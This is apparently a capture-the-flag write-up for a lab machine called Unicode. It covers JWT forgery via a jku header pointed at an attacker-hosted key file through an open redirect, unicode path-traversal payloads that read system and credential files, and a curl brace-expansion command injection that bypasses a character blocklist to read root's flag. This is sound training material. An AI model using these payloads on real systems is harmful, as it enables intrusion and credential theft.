6 minutes
Unicode
Enumeration
nmap
# Nmap 7.92 scan initiated Fri Dec 10 11:01:59 2021 as: nmap -sCV -oN nmap_tcp 10.129.96.111
Nmap scan report for 10.129.96.111
Host is up (0.030s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
| 256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_ 256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Hackmedia
|_http-generator: Hugo 0.83.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec 10 11:02:07 2021 -- 1 IP address (1 host up) scanned in 8.15 seconds
Web Enumeration
On the initial page, we notice there is a redirect http://hackmedia.htb/redirect/?url=google.com
Next we begin with running gobuster
from the discovered endpoints we observe /register
.
/login (Status: 308) [Size: 260] [--> http://10.129.96.111/login/]
/logout (Status: 308) [Size: 262] [--> http://10.129.96.111/logout/]
/register (Status: 308) [Size: 266] [--> http://10.129.96.111/register/]
/checkout (Status: 308) [Size: 266] [--> http://10.129.96.111/checkout/]
/error (Status: 308) [Size: 260] [--> http://10.129.96.111/error/]
/upload (Status: 308) [Size: 262] [--> http://10.129.96.111/upload/]
/display (Status: 308) [Size: 264] [--> http://10.129.96.111/display/]
/internal (Status: 308) [Size: 266] [--> http://10.129.96.111/internal/]
/redirect (Status: 308) [Size: 266] [--> http://10.129.96.111/redirect/]
/debug (Status: 308) [Size: 260] [--> http://10.129.96.111/debug/]
/dashboard (Status: 308) [Size: 268] [--> http://10.129.96.111/dashboard/]
/pricing (Status: 308) [Size: 264] [--> http://10.129.96.111/pricing/]
Once we have logged in with the user we registered, we get redirected to /dashboard
.
We notice that the cookie uses JWT as the mechanism of session cookie.
GET /dashboard/ HTTP/1.1
Host: 10.129.96.111
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoiam9obiJ9.fUXM6uoYSqrXOEEggGoVxSw5q53TeukNNAa0wREc9_dOqPUEr1F2SBsgFdu4P18PNE4yWVYeuSexsGEL3vwWYEKE4awLbzkJnPQPj2_qF3pyVKX0NYNRI-LjpIriPZ6Z-FgnoRo47vEKQG2yMLLSmaI8FS7wrpR7OL42I3USiBh3qPBz26ZwZmtwh7b12vyaFWRsBcybq0-3I-np8eg4DQS51_ZMMNvNxv3VIF8UD3PtBr3hK1iviyfK9ZiQbgiV8SKjfnpi3rat1NQcJRJ50A3VcbbHZZ2pqe-iYruXUZf8anz4PGODYXg3m7aEScBKK8eeqiZ0rKt7gT4lrkrp7A
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
If we decode the JWT using jwt.io
we observe a jku
key in the JWT Header
We can download the file which jku
is pointing to:
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "hackthebox",
"alg": "RS256",
"n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
"e": "AQAB"
}
]
}
We try the attack with jku
in this blogpost
When we replace the JWT, we only get jku validation failed
Figured out that it could possibly be the algorithm used in the blog post and discovered [this tool](mkjwk - JSON Web Key Generator) to generate the key pair as well as getting the n
value for jwks.json
.
We point the jku
to
http://hackmedia.htb/static/../redirect/?url=10.10.17.142/jwks.json
that will leverate the “off-by-slash” vulnerability in nginx
in conjunction with the redirect.
Once generate a new jwt using jwt.io
, changing the user
to admin
and pasting the public and private key generated by the tool.
Once we have generated our JWT we host a python server to serve jwks.json
in order for the server to validate our token.
Once we have access as admin
we observe there appears to be a file inclusion in http://hackmedia.htb/display/?page=quarterly.pdf
Seeing the name of the box, we could guess the it might be a unicode normalization vulnerability. From this blogpost we get the payload ︰/︰/︰/︰/etc/passwd
As we know it is running nginx
we should be able to fetch the VHOST conf by grabbing /etc/nginx/sites-enabled/default
->
GET /display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/nginx/sites-enabled/default
server{
#Change the Webroot from /home/code/coder/ to /var/www/html/
#change the user password from db.yaml
listen 80;
location / {
proxy_pass http://localhost:8000;
include /etc/nginx/proxy_params;
proxy_redirect off;
}
location /static/{
alias /home/code/coder/static/styles/;
}
}
We change our payload to GET /display/?page=%EF%B8%B0/db.yaml
to get the creds:
mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"
With the credentials we get access via ssh
as the user coder
.
We begin with enumerating our sudo
possibilities:
code@code:~$ sudo -l
Matching Defaults entries for code on code:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User code may run the following commands on code:
(root) NOPASSWD: /usr/bin/treport
If we test to run this binary
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:2
Traceback (most recent call last):
File "treport.py", line 76, in <module>
File "treport.py", line 17, in list_files
FileNotFoundError: [Errno 2] No such file or directory: '/root/reports/'
[6496] Failed to execute script 'treport' due to unhandled exception!
code@code:~$
As we observe python files that are missing we can make an educated guess that this might be a python compiled binary.
We can “extract” the contents of using pyinstxtractor
We get a bunch of files after extracting the installer binary, the one that seems interesting is treport.pyc
.
I tried using uncompyle6
as suggested in the pyinstxtractor repo, but it complained about the python version being 3.9.9.
After some googling, we discover the tool pycdc
We have to compile the binary ourselves and to do so we have to generate the makefile with CMake
.
$ cmake .
-- The C compiler identification is GNU 11.2.0
-- The CXX compiler identification is GNU 11.2.0
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Check for working C compiler: /usr/bin/cc - skipped
-- Detecting C compile features
-- Detecting C compile features - done
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Check for working CXX compiler: /usr/bin/c++ - skipped
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Found PythonInterp: /usr/bin/python (found version "2.7.18")
-- Configuring done
-- Generating done
-- Build files have been written to: /home/bob/htb/unicode/pycdc
$ sudo make install
[ 85%] Built target pycxx
Consolidate compiler generated dependencies of target pycdas
[ 90%] Built target pycdas
[100%] Built target pycdc
Install the project...
-- Install configuration: ""
-- Installing: /usr/local/bin/pycdas
-- Installing: /usr/local/bin/pycdc
After compiling the binary we decompile the pyc
file
$ pycdc treport.pyc > treport.py
We open treport.py
and discover that there is a command injection vulnerabiliy in the binary
def download(self):
now = datetime.now()
current_time = now.strftime('%H_%M_%S')
command_injection_list = [
'$',
'`',
';',
'&',
'|',
'||',
'>',
'<',
'?',
"'",
'@',
'#',
'$',
'%',
'^',
'(',
')']
ip = input('Enter the IP/file_name:')
res = bool(re.search('\\s', ip))
if res:
print('INVALID IP')
sys.exit(0)
if 'file' in ip and 'gopher' in ip or 'mysql' in ip:
print('INVALID URL')
sys.exit(0)
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
os.system(cmd)
We notice that {
and }
and not included in the list.
Using the option --config
will make curl
read a file loaded with curl arguments.
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:{--config,/root/root.txt}
Warning: /root/root.txt:1: warning: '4059b18b29cb69a00bdcc6fce2d8367f' is
Warning: unknown
curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
Enter your choice: